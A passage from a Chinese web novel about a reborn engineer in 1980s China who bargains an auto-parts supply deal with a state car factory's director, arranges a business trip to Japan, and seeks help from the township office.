一连串的质问像**般砸来,让刘明红有些应接不暇。他迟疑片刻,强撑着道:“自然……自然是变了些的。”
杜国强笑了笑:“刘厂长怎么这会儿语气不足了?您也别在这狡辩了。以我对太华厂的了解,你们的发动机技术还停留在三十年前,苏联援助的那一套,丝毫未动。”
“至于车身的轻量化……实不相瞒,前些天我才坐过你们厂的吉普车。知道的,以为是吉普车;不知道的,还以为坐的是坦克呢!”
刘明红张口想辩解,可喉咙像是被堵住一般,此刻一个字都吐不出来。
的确,杜国强说的是实情。太华厂这些年推出的新车,多是换了名字、改了改内部装饰,本质上还是那老三样。
可全国哪个地方不是这种情况?
上面年年喊着要创新,可一和毛子关系拉下,对方立刻就断掉了所有技术来源,别说创新了,能造出来车就不错了!
厂里的工程师们绞尽脑汁,也只能在细枝末节上做点改动,这显然达不到上级的要求。没办法,大家伙儿就只能在装饰、名称上动些手脚,权当是应付差事了。
他不甘心,攥紧拳头道:“即便太华厂的变化不大,你也不能否决它的功绩!我们一直在努力!”
“是啊,你们在努力。”杜国强缓缓点头,语气却带着几分冷意,“你们努力到原来有一碗米,现在变成了两碗。可人家西方呢?早就坐拥米仓了。”
他话锋一转,直视着刘明红:“想想你们太华厂的汽车技术——比行驶速度,比不过西方。比节油,比不过日韩。这样的局面,何谈进步?”
“全国汽车行业的人才就那么些,熟练工人更是少得可怜。我们厂里做实验,单是一个燃油测试,就要耗上小半年。”
刘明红的声音里带着几分疲惫与无奈,“这种情况,你以为是我们太华厂愿意看到的吗?”
“你厉害,有本事你倒是想个办法出来!”
刘明红怨声载道地说道。
“办法自然是有的。”杜国强平静回应。
刘明红愣了一下,心里犯嘀咕:这小子难不成真有办法?
“我记得刘厂长您是全国汽车协会的会员吧?也是本土汽车技术发展的坚定推动者?”杜国强问道。
刘明红点了点头,正色道:“本土化技术创新,这是全国的大趋势,我自然是站在正确一方的。”
“错了,全都错了。”
杜国强摇了摇头,“本土化技术
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发展固然重要,可那得建立在我们已经具备一定造车能力之后再谈的事。现在就画地为牢、关起门来自己玩,我们和西方国家的差距只会越来越大。”
“把技术卖给你,最多赚一笔快钱。人家资本主义国家打的算盘,是怎么让你一直买他们的产品。”
刘明红语气越发激动,“别说是那些刚建交的发达国家,就算是一直跟我们关系不错的国家,也压根不愿意把手里的汽车核心技术卖给我们!”
刘明红之所以想做注塑零件在国内的经销商,其实也是为了和国外那些厂商搭搭关系,看看对方能不能大发慈悲,把一两样快要过时的技术过渡到国内市场来。
杜国强道:“别人不会把技术这种吃饭的家伙事儿施舍给我们。要想拿到这些技术,我们必须付出更多筹码。”
“有话你就直说!”刘明红有些不耐烦。
杜国强深吸一口气,掷地有声道:“我们要以市场换技术。”
“以市场换技术……”
刘明红顿时愣住,杜国强这句话像一道灵光劈过他的脑子。
他仿佛抓住了救命稻草,那道能解开国内汽车发展困局的灵丹妙药就在眼前。
刘明红下意识地紧紧攥住杜国强的衣角,急切追问:“你这句话到底是什么意思?”
“很简单。”
杜国强道,“我们泱泱大国,有万万人口。虽然现在一穷二白,但凭咱们人民的勤劳,迟早会发展起来。发达国家有的,我们未必不能有。到那时,兴许人人都需要小汽车。请刘厂长算算,世界上哪个国家能造出这么大的汽车市场?”
刘明红身子微微一颤,道:“没有,任何一个国家都造不出这么庞大的市场!”
“小杜同志,你所说的我明白了!”
刘明红激动万分,忍不住舔了舔嘴唇,“看来朱厂长说你有才,那些注塑零件是你造出来的,果然所言非虚。”
“看来,接下来我们该好好谈谈合作的事情了。”
杜国强嘴角扬起道。
“对不起,但是我现在不想谈了。”
……
第88章 扯虎皮做大衣
刘明红显然没想到杜国强会突然蹦出这么一句,急了,道:“太华厂是很有合作诚意的,况且我们还有国外的资源可以为你引荐。”
杜国强冷淡道:“等到你学会尊重像我这样的年轻人时,或许我们可以再来谈这个问题。至于现在,我累了,需要休息了。”
杜国强伸手指了指门。
刘明红有些手足无措,不明白杜国强这是唱的哪一出,只能束手无策地望向一旁的朱厂长。
朱厂长咳嗽了声,走到杜国强身边,压低声音道:“差不多得了,太华厂毕竟是大客户。这笔生意要是做成了,对你未来开设更大规模的厂子有好处。”
“我有计划。”
杜国强小声道,而后扭头望向刘明红:“刘先生,我的话已经说到这里,还请你赶快离开八零厂。”
刘明红无奈地叹了口气,离开了办公室。
朱厂长这才敢开始大口嚷嚷,不解道:“杜国强,你这葫芦里究竟卖的什么药?刘明红就算做得太过分,毕竟也是手握实权的北方厂领导。你这样和他结梁子,日后对发展很有影响啊。”
杜国强摇了摇头,笑道:“信不信我跟您打个赌,这刘明红还会回来的。”
朱厂长愣了一下,道:“你都这么拒绝他了,他还会回来?面子上不会挂不住?”
杜国强玩味地拿起桌面上摆放的汽车注塑零件。
没有人比他更清楚太华厂日后的命运。
这个号称荣光的汽车制造商,在80年代急剧衰落,最后不得不以低价甩卖的方式卖给了新成立的私人企业。
显然现在刘明红已经意识到这个无法回避的问题了,所以才积极求变,想跟杜国强签下汽车零件的合同,提升产品质量。
但是刚才对方跟杜国强的交流,显然还把自己摆在上游供货商的位置。
这种态度,杜国强很不喜欢。
明明是你想求着我办事,结果反过来却变成了我舔你,哪有这么好的事?
所以他才会让刘明红回去好好反省反省。
算是敲打一下。
听到杜国强的解释后,朱厂长佩服地伸出了个大拇指:“平常人哪有敢像你这么玩的,把人家太华厂的厂长耍得团团转。”
……
果然不出杜国强所料,刘明红第二天准时准点地又出现在了八零厂办公室中。
他一副唯唯诺诺的样子,看起来规矩了很多,手里还带了礼品,道:“朱厂长,小杜同志,昨天的事是我多有得罪。这些情况希望你们能够理解,太华厂真的很需要这个汽车零件的订单。希望你们能慎重考虑,与我们达成合作。”
人家赔礼道歉,杜国强便顺坡下驴。
杜国强笑了笑道:“朱厂长哪里的话,都是为国效力嘛。更何况帮扶太华厂这种老字号国产之光,自然是义不容辞。这样吧,今天我们就签一份合同。”
“当真?”刘明红顿时激动起来,连连握着杜国强的手。
“那我就替太华厂先谢谢你了,小杜同志。”
接下来的事情就顺利稳当很多了。
达成初步合**议后,朱厂长做起了和事佬,带着杜国强和刘明红来到了厂食堂,特地让厨师做了三菜一汤。
酒桌上,刘明红跟杜国强碰了碰杯,有些好奇地开口问道:“小杜同志,你做的这些汽车注塑零件,现在和国际一线品牌比起来质量水平如何?能达到相近标准吗?”
杜国强道:“说实在的,我们的产品应该早已远销大江南北才对。生产出来的产品绝对是世界第一的。”
“这么厉害?”刘明红顿时震惊,连忙追问道,“你们有做过相关测试吗?”
杜国强点了点头:“自然。”
接着,杜国强又是一顿对自己产品的吹嘘,从南扯到北,听得朱厂长都有些害怕,而刘明红则是激动万分,如痴如醉。
最后在谈合同时,主动给杜国强增加了每件3毛钱的利润。
等到盖好红章,刘明红离开后,朱厂长这才心惊胆战地问道:“你刚才说的那些是真的假的?我怎么感觉你在吹牛皮呢?你这注塑产品不是才出来没多长时间吗?”
杜国强笑着点了点头:“自然是假的。”
他还是有些自知之明的,他做的这些注塑件设计理论虽然领先,可是国际上也不是没有类似的人才。
之所以能在初次合作时引起如此大的轰动,还要多亏前世多年的记忆,多积累下的成果。
“那你还吹得煞有其事,当真不怕刘明红返回来找你?”
“白纸黑字的合同拿到了手里,成交价也涨上去
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了。况且我说的只是有一部分夸大而已,并没有全部说谎。”杜国强道。
“王婆卖瓜,自卖自夸嘛。放着高价不卖,我总不能听刘明红讲一番大道理,而后每件还要让给他点利润吧?要让自己的客户觉得占了一笔大便宜,同时自己拿到更多的钱,这才是双赢。”
杜国强玩味地拍了拍朱厂长的肩膀,“顾客是上帝嘛。”
朱厂长吞咽了一口口水,情不自禁往后退了一步,而后用怀疑的目光盯着杜国强:“我怎么感觉你现在有些恐怖了?”
这小子,以后可得离远些,不然哪天被他卖了都不知道。
要是搁在古代,再换个性别,妥妥就是苏妲己啊,魅惑人心,害人不浅。
“你现在也算是在汽车零件制造这行有些名气了,以后这种事还是得做得隐秘些。”
朱厂长耐心地开口劝阻道。
杜国强笑了笑道:“放心,朱厂长,我又不是傻子,不会漫天要价,顶多就是多争取一些利益罢了。”
朱厂长点了点头,转而问道:“现在你那里每个月能产出多少零件?”
“这要看零件的种类以及所需的性能了。”杜国强解释道,“不同零件的成型速度是不一样的。不过按照成交金额来算,大概每个月能产出成本为10万块左右的货物。”
“纯利能做到多少?”
“如果是到我手里的话,大概是15%左右。”杜国强自己算过这笔账,再刨去各项开支之后,他差不多能分到这个比例的钱。
“我的个老天爷啊!”朱厂长一脸震惊地望着杜国强,“那岂不是你这小厂子开一年就变万元户了?这钱可比那些下海经商的人来得快多了。”
“这很多吗?”杜国强笑了笑。他并没有告诉朱厂长,近期他打算扩张厂里的设备,让竹青莲再从日本那家注塑机生产厂商订购三台型号相同的设备回来,而后培养几个熟练工人。
以现在的国内和国际市场需求来看,四台设备生产出的零件或许都难以满足市场。
朱厂长叹了口气道:“哎,等我这老东西从一线岗位上退下来,你把我聘到你那儿,给我开份高薪怎么样?”
“好啊!”
杜国强笑了笑道,“到时候就欢迎朱大厂长加入我这小破庙了。”
第 89章 盗版碟片
从八零厂离开之后,杜国强只感心情愉悦。
按照他和刘明红的约定,双方的合作将会立刻展开,刘明红将在下个月15号把30%的定金交给杜国强。
而杜国强这边也要同时送出300套零件。
这对目前的库存而言有些紧张,只能赶快把李江一叫回来,投入到生产之中。
虽说李江一同志目前还处于休假状态,但也只能辛苦他了。
哎,怎么就成了万恶的资本家?
杜国强打算回头多付给李江一一些加班费。
他哼着小曲儿回到自己家中,把刚才买的一斤半猪肉放在桌上,朝里屋嚷嚷:“妈,今天中午吃酸菜馅的饺子,馋了。”
杜国强身上带着些北方血统。
他们家的老祖宗是民国时期从北方逃难到南方的,因此也染上了些北方习俗,吃酸菜馅饺子就是其中一项。
正说着,里屋的门帘被掀了开来,露出一个穿着皮裤、皮衣,画着淡蓝色眼影的标准都市美女——竹青莲。
她饶有兴趣地盯着杜国强,开口道:“酸菜馅饺子?还真是没吃过,不知道我有没有机会在杜先生家里讨一口饭吃?”
杜国强愣了一下:“竹女士,您怎么来了?我听朱厂长说,您不是有事回港岛了吗?”
竹青莲点了点头:“家里人逼我相亲,回去应付了一趟差事。事情解决了,这不又马上回大陆了?毕竟这里是玛瑞集团下一个十年的重要投资地。”
杜国强暗自称奇,没想到连大集团的总裁都躲不过相亲这回事,国人结婚生子的观念还真是深入人心。
杜国强朝竹青莲伸出手:“我代表大陆的一份子,向玛瑞集团表示感谢。”
竹青莲愣了一下,很快伸出手来。
两人手掌相握的那一刻,她忍不住颤抖了一下,脑海中不由自主地回想起那天的事——自己被下**,杜国强前来“英雄救美”,还被自己一顿调戏。
“港岛的太阳很大吗?怎么感觉竹女士回了一趟老家,脸晒得比以往红了?是我的错觉吗?”杜国强下意识开口问道。
竹青莲咳嗽了一声,赶忙说道:“是这样的,靠近赤道嘛,总会有些阳光炽热的。”
杜国强若有所思地点了点头。
正巧,朱桂芳提着菜回到了家中,看见杜国强回来,朱桂芳道:“你咋才回来?人家大老板等了你好长时间了。我去买菜,买了些鱼,也不知道合不合人家胃口。”
“阿姨,我不挑的。”竹青莲道,“再说,杜国强先前也说了,他要吃酸菜馅饺子。”
“哎呦,咋能请你这种大老板吃这种东西呢?这瓜娃子是开玩笑呢。”
朱桂芳咳嗽了一声,觉得在这种正式的场合,酸菜馅饺子有些拿不上台面。
“没事,入乡随俗。既然来你家吃饭,那就按您家的规矩办。”
竹青莲笑了笑道,“那我一会回来吃饭,现在要去酒店取些东西。”
等到竹青莲走后,朱桂芳一脸狐疑地打量起杜国强:“你跟这女老板是不是有啥事儿?”
杜国强愣了一下,笑道:“妈,您在这胡说什么呢?”
“要不她咋天天过来寻你?要是谈公事,去正式场所不行?在家里算咋回事?”
“妈,您放心吧,我们俩就是正常的合作伙伴关系。”
朱桂芳这才满意地点了点头:“你可给我长点心,刘静怡是我看准的儿媳妇,你要是把她给辜负了,妈就不让你进这个家门。”
朱桂芳这段时间和刘静怡相处得很是不错,她打心眼里喜欢这个文静聪慧的姑娘,已经幻想着杜国强和对方结婚后,给自己生出几个大胖孙子。
既然竹青莲不挑,朱桂芳倒是也没刻意假客气,真就做了一道酸菜馅饺子。不过为了照顾人家姑娘的胃口,先前从供销社买来的那条鱼也一并炖了。
而竹青莲也准时在饭点前回到了杜国强家里,向他递过来一个硬木盒子。杜国强愣了一下,问道:“这是什么?”
“是一些碟片。”
“上次你不是问我港岛有什么新片子,让我帮你带过来吗?怎么不记得了?”竹青莲玩味地望着杜国强。
“您还真给我录出来
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了?”杜国强哭笑不得道,“我就是随口说说,咋能麻烦您去做这种事?”
竹青莲不在意地甩了甩手:“我又没亲自动手,是让秘书去弄的。”
杜国强打开木盒子一看,里面有李小龙的《精武门》、成龙的《醉拳》,还有王晶最新导演的《追女仔》,都是眼下最热的一些电影。
想必竹青莲是特意细致吩咐过,秘书才弄的这么周全。
“这妮子不会是对自己真有意思吧?”
杜国强心里咯噔一声。
英雄救美,很有可能啊。
“杜国强,下周你有时间吗?”竹青莲尝了一口朱桂芳端上来的玉米糖,边嚼边问道。
杜国强愣了一下,道:“照理是没有的,不过我可以跟厂里请假。”
“跟我出趟国吧。”竹青莲轻描淡写地将糖咽进肚子里。
杜国强吓得站了起来,这是要让自己出国当上门赘婿?
“竹女士,上次你我那件事纯粹是意外,你别太放在心上,我们之间其实没什么的。”
竹青莲愣了一下,抬头问道:“你在说什么?我是让你跟我出国,去趟日本。你不是让我帮忙询问那几台新注塑机的引进吗?现在有些阻力,我想请你跟我一块去看看有没有办法解决。”
“啊,原来是这样。”杜国强咳嗽了一下,心里暗骂:妈的,太尴尬了。他又咳嗽了一声,问道:“是什么问题?”
“日本的那家公司已经知道了大陆新造出来的这种汽车注塑件是用他们的设备造出来的,因此,他们像狮子大开口,借机涨价。”
“当然,也有可能是受到政府方面的要挟,想要借机中断剩下这些注塑机的供应,都有可能。”
竹青莲轻声道,“你不是懂日语吗?我想这件事由你到场,或许更容易改变局面。”
杜国强皱了皱眉头。
狮子大开口还好说,无非是钱上面存在分歧。
但若是另一种原因,那剩下的注塑机引进就成了大问题,说不定还得重新更换供应商。
如此来看,这事儿还真值得自己全力以赴。
第90章 奇怪的老头子
“你打算什么时候动身?”杜国强开口问道。
竹女士从自己的包里掏出来一张纸:“这是我下个月的时间规划表,空出来的日子我们可以一块到日本去看看。”
杜国强接过来一看,好家伙,不愧是国际贸易的大公司领导,日程表也就空着这么几天。他思索了片刻,道:“那就这个月十五号吧,我看后面几天你也没事,也许我们要多呆一段时间。”
十五号,也就是两星期之后,杜国强也要一定的缓冲时间,将国内的一些事情处理完毕。
竹女士点了点头,道:“可以,只是你确定可以走吗?现在大陆和国外的通行应该还有很多困难吧。两周之内,你能办下来对应的签证吗?”
“应该没什么问题。”
杜国强点了点头,道,“两边关系正常化很久了,目前只开放了工作签证。我想如果由区政府方面出面的话,这个签证应该不会太难办。”
兴许是跟随西方国家的步调,又或者是想要在大陆投资赚取丰厚利益,日本很热衷于跟国内政务部门打交道。
杜国强相信,若是自己能请区长帮忙出面,大使馆的签证应该也不是很难拿到。
朱青莲道:“那我就把日期定下来了,期待到时候你的表现,这次出行我不打算带翻译,相信有你就足够了。”
杜国强笑道:“日本的英语普及率也挺高,竹女士会英文,问题不大。”
竹青莲愣了一下,点了点头:“这倒是。只不过你一个头回出国的人,怎么比我还显得轻松。”
头回出国?
杜国强心里笑了下。作为一名技术大拿,他在后世几乎每个月有三分之一的时间都在国外度过,国内航空公司的航班硬生生让他升级成了高级VIP会员,里程加起来怕是超过了全国99%的人。
“我不是相信自己,是相信竹女士您。凭您的面子,咱们定会无往不利。”
竹青莲笑道:“那你还真是高看我了。”
就在这时,灶房的门被推了开来,朱桂芳笑呵呵地端着酸菜馅饺子走进来:“来来来,工作上的事暂且先别谈了,收拾收拾吃饭。小竹啊,你可得尝尝这酸菜馅饺子,看看酸得够不够味。”
朱桂芳刚才趴在外面听了半天墙角,这才确定杜国强和竹青莲谈论的是正经工作上的事,没夹杂什么儿女私情。
看来,自己的准儿媳妇刘静怡目前还是安全的。
就是说嘛,咱这本地媳妇,哪能比不过外地那些带着洋气的女娃娃。
竹青莲在朱桂芳的催促下,拿起筷子尝了一个酸菜馅饺子,评论道:“有点像德国配火腿吃的酸菜,只不过酸味要更明显一些。”
她还给朱桂芳竖了个大拇指,“阿姨,您做得很不错。”
“哎呦,这就好。”朱桂芳松了口气,“阿姨还怕不合你的口味呢。你们接着吃,我再去厨房弄点配菜。”
说着,她又走进了厨房,临了特意叮嘱。
“杜国强,一会儿你拾掇一份出来给静怡送过去。那孩子家里就剩一个老子,肯定吃不上好东西,别让她对付着过。”
朱桂芳这话里,着重提点刘静怡的意味再明显不过,甚至有些刻意了。
哎,自己这亲妈咋就这点小心眼?杜国强无奈点头:“知道了,我一会儿给刘静怡送过去。”
朱桂芳满意地走了出去。
杜国强笑着对竹青莲说:“别拘束,放开来吃。我们这儿的人不讲究西方那套——什么细嚼慢咽、餐桌上的礼仪,怎么舒服怎么来。”
竹青莲点了点头,道:“我很好,不拘束,不过有个疑问想问问你。”
“请说。”杜国强道。
“或许是女人的第六感吧。”竹青莲略带思索地皱了皱眉,道,“我总感觉阿姨对我藏着一丝敌意,对吗?”
“没有没有。”杜国强尴尬的咳嗽了两声。
……
吃过饭,杜国强按照朱桂芳的吩咐,用铝制饭盒给刘静怡装了两碗菜,准备给她送过去。
不过眼下已经过了饭点,显然是赶不上中午这趟了。
杜国强也不着急,提着装饭盒的兜子,往镇政府走去。
正当他要踏进大门时,门卫赶忙从门亭里走了出来,将他拦住:“你找谁?”
“我找区长,麻烦您通报一下。”杜国强
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礼貌地对门卫说道。
门卫上下打量了一眼杜国强,又看了看他手里提的饭盒,冷哼一声道:“区长不吃你这一套,**找别人去!最讨厌你们这种走捷径的人,按规章制度办事不成吗?”
杜国强愣了一下,这保安啥时候管得这么宽了?
“大爷,您误会了,我这饭盒是给我对象提的。我今天来找区长,是想请他帮我办下签证。”
“办签证?你去大使馆啊,来镇政府作甚?”
门卫大爷不耐烦地朝杜国强摆手,“出去出去,再不离开,我就拿棍子赶人了!”
“嘿,你这老头到底是怎么回事?”正当杜国强打算发火时,镇政府的楼旁传来一声喊声:“杜国强!”
是区长的秘书小张,他朝杜国强喊道:“杜国强,今儿个你怎么来镇政府了?前两天区长在会议上还说过你呢,要咱们镇的人向你学习,开创工业,提升陆川区的竞争力。”
“我有点事情想请区长办。”
杜国强无奈地指了指身旁的门卫大爷,对小张说,“张秘书,还请你跟这位大爷说说,放我进去。”
小张愣了一下,赶忙屁颠屁颠地跑到门卫大爷身边,解释道:“老爷子,您就别拦他了,他可不是什么投机倒把的人,人家是咱镇里的创业标兵,找区长来是有正事的。”
门卫大爷摆了摆手,倔强道:“你让那小子亲自给我打电话,要不然我不信。”
张秘书无奈地叹了口气,望向杜国强:“你先等等,我马上让区长下令通行。”
杜国强好奇地凑到张秘书耳边,低声问道:“这老头有来头?”
张秘书无奈道:“这是区长亲爹,最近刚下岗。先前求区长办事,区长没给办,就让他来这儿暂且当个门卫,正跟区长闹脾气呢。”
“怎么了?这老头子是嫌退休工资低吗?”
“不是。”
小张叹了口气,道:“这老爷子之前待的农机厂,因为产能问题最近要被关停。他不想让厂子就这么没了,找区长求情,结果被区长拒了。老爷子骂区长不近人情,现在见谁来找区长办事,都要故意挑点刺。”